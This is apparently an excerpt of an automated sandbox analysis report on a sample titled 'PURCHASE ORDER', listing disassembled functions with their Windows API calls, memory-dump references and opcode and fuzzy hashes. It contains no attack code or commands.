                                                                          Download Yara Rule
                                                                          APIs
                                                                          • WaitForSingleObject.KERNEL32(?,000000FF), ref: 004390CD
                                                                          • UnloadUserProfile.USERENV(?,?,?,000000FF), ref: 004390DB
                                                                          • CloseHandle.KERNEL32(?,?,000000FF), ref: 004390EB
                                                                          • CloseHandle.KERNEL32(?,?,000000FF), ref: 004390F0
                                                                            • Part of subcall function 00438FB6: GetProcessHeap.KERNEL32(00000000,?,00439504,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00438FC1
                                                                            • Part of subcall function 00438FB6: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00438FC8
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                                          • String ID:
                                                                          • API String ID: 146765662-0
                                                                          • Opcode ID: 7cdfdd2e005e28f5438e9d3b399fcd684928161159dd652c77b09849c549b5d2
                                                                          • Instruction ID: e19b07cb6d87eea3d85dfea562759309df1919ba68b29a0146d7a5ec0ea3c710
                                                                          • Opcode Fuzzy Hash: 7cdfdd2e005e28f5438e9d3b399fcd684928161159dd652c77b09849c549b5d2
                                                                          • Instruction Fuzzy Hash: 5DE0C976504311ABC620EB65DC48C4BB7E9EF883303114E1DF89693260CA74E881CB65
                                                                          Function 0041405D Relevance: 6.0, APIs: 4, Instructions: 19threadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __IsNonwritableInCurrentImage.LIBCMT ref: 00414070
                                                                            • Part of subcall function 00418540: __FindPESection.LIBCMT ref: 0041859B
                                                                          • __getptd_noexit.LIBCMT ref: 00414080
                                                                          • __freeptd.LIBCMT ref: 0041408A
                                                                          • ExitThread.KERNEL32 ref: 00414093
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CurrentExitFindImageNonwritableSectionThread__freeptd__getptd_noexit
                                                                          • String ID:
                                                                          • API String ID: 3182216644-0
                                                                          • Opcode ID: 18f79961a183a005566c851b5a75566c8a37b9a59448809cc1b4ea10e33ea091
                                                                          • Instruction ID: 8c1b811a677bc0208766d104aadce1409d27245c16b3af4a320e27a455eae914
                                                                          • Opcode Fuzzy Hash: 18f79961a183a005566c851b5a75566c8a37b9a59448809cc1b4ea10e33ea091
                                                                          • Instruction Fuzzy Hash: F8D0EC7051024256D6207BA7ED097AA3A589B44B26B15446EA905801B1DF68D9C1862D
                                                                          Function 0046EDC6 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 383COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: BuffCharLower
                                                                          • String ID: $8'I
                                                                          • API String ID: 2358735015-3608026889
                                                                          • Opcode ID: d6f66c2f2361e76d4402681cdd51d930a97151c2fdd89a539067bc835b5788b1
                                                                          • Instruction ID: 1bf34105e022c250dd7240f1ea7ec4803edb57b208c13e69c3fb06210d7c4844
                                                                          • Opcode Fuzzy Hash: d6f66c2f2361e76d4402681cdd51d930a97151c2fdd89a539067bc835b5788b1
                                                                          • Instruction Fuzzy Hash: 9FE1AE745043018BCB24EF16D88166BB7E4BF94348F40482FF88597292EB79DD89CB9B
                                                                          Function 00478373 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 277comCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • OleSetContainedObject.OLE32(00000000,00000001), ref: 0047857A
                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                            • Part of subcall function 00445513: OleSetContainedObject.OLE32(?,00000000), ref: 00445593
                                                                            • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                            • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                            • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                            • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CopyVariant$ContainedObject$ErrorLast_malloc
                                                                          • String ID: AutoIt3GUI$Container
                                                                          • API String ID: 3380330463-3941886329
                                                                          • Opcode ID: 167728f1ef0b290fa0ab537cd1f49c444f99f24bf3b7fe0b60cc3227d219d98d
                                                                          • Instruction ID: 8a51a4197b359b89da059ec4b883cd23719ad159cb4f439b8c2c8f5fea4c1b32
                                                                          • Opcode Fuzzy Hash: 167728f1ef0b290fa0ab537cd1f49c444f99f24bf3b7fe0b60cc3227d219d98d
                                                                          • Instruction Fuzzy Hash: FEA16A71240601AFC760EF69C880A6BB7E9FB88304F10892EF649CB361EB75E945CB55
                                                                          Function 004099A8 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 228COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _wcslen.LIBCMT ref: 00409A61
                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                            • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                            • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                            • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                          • CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: BuffCharException@8ThrowUpper_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                          • String ID: 0vH
                                                                          • API String ID: 1143807570-3662162768
                                                                          • Opcode ID: 3b8ec82d58c38576b00ff22988a0e650aa58911ac6743af60d2de49a63bf73c2
                                                                          • Instruction ID: 5e67718e4417cbef977f4cc7974cb0b4b39b480e5382bb1977b3cac956c07efc
                                                                          • Opcode Fuzzy Hash: 3b8ec82d58c38576b00ff22988a0e650aa58911ac6743af60d2de49a63bf73c2
                                                                          • Instruction Fuzzy Hash: 53515BB1A083009FC718CF18C48065BB7E1FF88314F54856EF9999B391D779E942CB96
                                                                          Function 00466587 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: HH$HH
                                                                          • API String ID: 0-1787419579
                                                                          • Opcode ID: 7546cf6663fec2d41e0be28018c51c43d88dc93244b488606bcda1ed75612bc1
                                                                          • Instruction ID: b2aab3850ea6996be17d3b26b1a0d96f4757dd5de2ef7d298d9c2790e2b3b10f
                                                                          • Opcode Fuzzy Hash: 7546cf6663fec2d41e0be28018c51c43d88dc93244b488606bcda1ed75612bc1
                                                                          • Instruction Fuzzy Hash: 1241BF367042009FC310EF69E881F5AF3A1EF99314F548A6EFA589B381D776E811CB95
                                                                          Function 00444652 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: InfoItemMenu_memset
                                                                          • String ID: 0
                                                                          • API String ID: 2223754486-4108050209
                                                                          • Opcode ID: b197b12ebb791d0d124b954fc3f56ec3733aa4353655cd8c64cc0c5a1933b8ad
                                                                          • Instruction ID: 143d79469fb3e570aa9bb1e7a79db7ad77638f8ab3c2e89d41e08a42c99b444e
                                                                          • Opcode Fuzzy Hash: b197b12ebb791d0d124b954fc3f56ec3733aa4353655cd8c64cc0c5a1933b8ad
                                                                          • Instruction Fuzzy Hash: CB3101721043009BF3249F18DC85BABBBE4EBC6310F14081FFA90C62A0E379D949C75A
                                                                          Function 00448358 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(?,00001132,00000000,?), ref: 0044846C
                                                                          • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0044847E
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend
                                                                          • String ID: '
                                                                          • API String ID: 3850602802-1997036262
                                                                          • Opcode ID: 40c115dbe3bb232f42185e8835a3c48b8da925c0788aed463fb6e16a301179a8
                                                                          • Instruction ID: cecdca06d5aa7ecc7109d5e1ff25192cbd540bafe2d1ef24ff7c1b98f096cb5f
                                                                          • Opcode Fuzzy Hash: 40c115dbe3bb232f42185e8835a3c48b8da925c0788aed463fb6e16a301179a8
                                                                          • Instruction Fuzzy Hash: 984179706083459FE710CF18C880BABB7E1FB89700F54882EF9888B351DB75A841CF5A
                                                                          Function 00444571 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: 0
                                                                          • API String ID: 0-4108050209
                                                                          • Opcode ID: b6c602b1dd263d2c99a5ec9127bd928e029cd45f71d746a48c0c49a5726287e2
                                                                          • Instruction ID: 268d240ecd79f719a1425e83c09d650ed443e1bf0ac8ef4f8d51517adc50c1d2
                                                                          • Opcode Fuzzy Hash: b6c602b1dd263d2c99a5ec9127bd928e029cd45f71d746a48c0c49a5726287e2
                                                                          • Instruction Fuzzy Hash: B6210D765042206BEB15DF08D844B97B7A4FBDA310F44492BEE9897250D379E848C7AA
                                                                          Function 0045126C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00451305
                                                                          • SendMessageW.USER32(00000000,0000014E,00000000,00000000), ref: 00451313
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend
                                                                          • String ID: Combobox
                                                                          • API String ID: 3850602802-2096851135
                                                                          • Opcode ID: 0499e5d8541f4f9e55005c4c3969ca7e279e19a534152943b96dd4c6f47caa3c
                                                                          • Instruction ID: f266216a818347eeb58d59163185d0479ace604409515c443b0f4894c7ad90f2
                                                                          • Opcode Fuzzy Hash: 0499e5d8541f4f9e55005c4c3969ca7e279e19a534152943b96dd4c6f47caa3c
                                                                          • Instruction Fuzzy Hash: D9110A72A0430067E6109AA4DC80F5BB3D8EB99735F10071BFA24E72E1D774FC448768
                                                                          Function 004515AB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetWindowTextLengthW.USER32(00000000), ref: 004515DA
                                                                          • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 004515EA
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: LengthMessageSendTextWindow
                                                                          • String ID: edit
                                                                          • API String ID: 2978978980-2167791130
                                                                          • Opcode ID: 255065f22875c24af3de74cb0bd99753dbe1335258aa39c92c973eb9156a9169
                                                                          • Instruction ID: b80de1f22085cd2d24dcce0fe83431d10f7d2aff66e66183492c5b70af3c9e13
                                                                          • Opcode Fuzzy Hash: 255065f22875c24af3de74cb0bd99753dbe1335258aa39c92c973eb9156a9169
                                                                          • Instruction Fuzzy Hash: 2011E4716003006BD6109A64D884F6BB3DCEBD8335F104B1EFA61D32E1D779EC458729
                                                                          Function 00474827 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72sleepCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • Sleep.KERNEL32(00000000), ref: 00474833
                                                                          • GlobalMemoryStatusEx.KERNEL32 ref: 00474846
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: GlobalMemorySleepStatus
                                                                          • String ID: @
                                                                          • API String ID: 2783356886-2766056989
                                                                          • Opcode ID: 6b539aa5d60aaa410447b6e5f9627e9a7b549f395ce9a021d490b3e8c5b2361e
                                                                          • Instruction ID: 41c327e25453105c4ca6c880754d33c67e761007402a238c65fd2e715fefe222
                                                                          • Opcode Fuzzy Hash: 6b539aa5d60aaa410447b6e5f9627e9a7b549f395ce9a021d490b3e8c5b2361e
                                                                          • Instruction Fuzzy Hash: 4421C230929A14B7C2107F6ABD4BB5E7BB8AF44716F008C5DF5C562094DF785268836F
                                                                          Function 004647A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: htonsinet_addr
                                                                          • String ID: 255.255.255.255
                                                                          • API String ID: 3832099526-2422070025
                                                                          • Opcode ID: 8f81358a7508e033a1ccca041802c5cf6ea433113977ffec7d790c03bda6a3ba
                                                                          • Instruction ID: e3b5e028fda38c0aed97ec3d425ece65e45bc088e5f3683a6f0e3ee8de0e9224
                                                                          • Opcode Fuzzy Hash: 8f81358a7508e033a1ccca041802c5cf6ea433113977ffec7d790c03bda6a3ba
                                                                          • Instruction Fuzzy Hash: 6F11253620030057DA10EB69C882F9BB394EFC4728F00896BFA105B283D679F45A832E
                                                                          Function 004694DE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                          • SendMessageW.USER32(00000000,000001A2,000000FF,00000000), ref: 00469547
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend_wcslen
                                                                          • String ID: ComboBox$ListBox
                                                                          • API String ID: 455545452-1403004172
                                                                          • Opcode ID: 19b239a33d6ccea3c1be09f9a3ff48f3ef4fb117e78275193105084191351ab7
                                                                          • Instruction ID: d7878a024921556205560296ec06e6abf53b779169672b4943ab7ad66f70e2c7
                                                                          • Opcode Fuzzy Hash: 19b239a33d6ccea3c1be09f9a3ff48f3ef4fb117e78275193105084191351ab7
                                                                          • Instruction Fuzzy Hash: 2601D6327011106B8600BB299C019AFB39DDBC2370F544A2FF965573D1EA39AC0E476A
                                                                          Function 00442AFE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00442B8C
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: InternetOpen
                                                                          • String ID: <local>
                                                                          • API String ID: 2038078732-4266983199
                                                                          • Opcode ID: 6ab628e9b643b7f337e7eb9a1eb164a667740d16f62f34970bb7649561c47b18
                                                                          • Instruction ID: 525aca290fb55aeb65c4bf55ca0deee88c9418ef2a1db54778758d1eb2e06c8a
                                                                          • Opcode Fuzzy Hash: 6ab628e9b643b7f337e7eb9a1eb164a667740d16f62f34970bb7649561c47b18
                                                                          • Instruction Fuzzy Hash: 9011A934144751AAF621DF108D86FB77794FB50B01F50480FF9866B2C0D6F4B848C766
                                                                          Function 004695F7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                          • SendMessageW.USER32(00000000,00000180,00000000,00000000), ref: 00469660
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend_wcslen
                                                                          • String ID: ComboBox$ListBox
                                                                          • API String ID: 455545452-1403004172
                                                                          • Opcode ID: 9c387d355752c609e3ec3b71bdfa1ce54c6356e755a59a855018ee08606d8eab
                                                                          • Instruction ID: 486d2595d5a7427da4a9c048e684990a8dc9cac685a8154682435d05c4426571
                                                                          • Opcode Fuzzy Hash: 9c387d355752c609e3ec3b71bdfa1ce54c6356e755a59a855018ee08606d8eab
                                                                          • Instruction Fuzzy Hash: A101D87274121027C600BA259C01AEBB39CEB96354F04443BF94597291EA6DED0E43AA
                                                                          Function 0046956F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                          • SendMessageW.USER32(00000182,00000182,?,00000000), ref: 004695D6
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
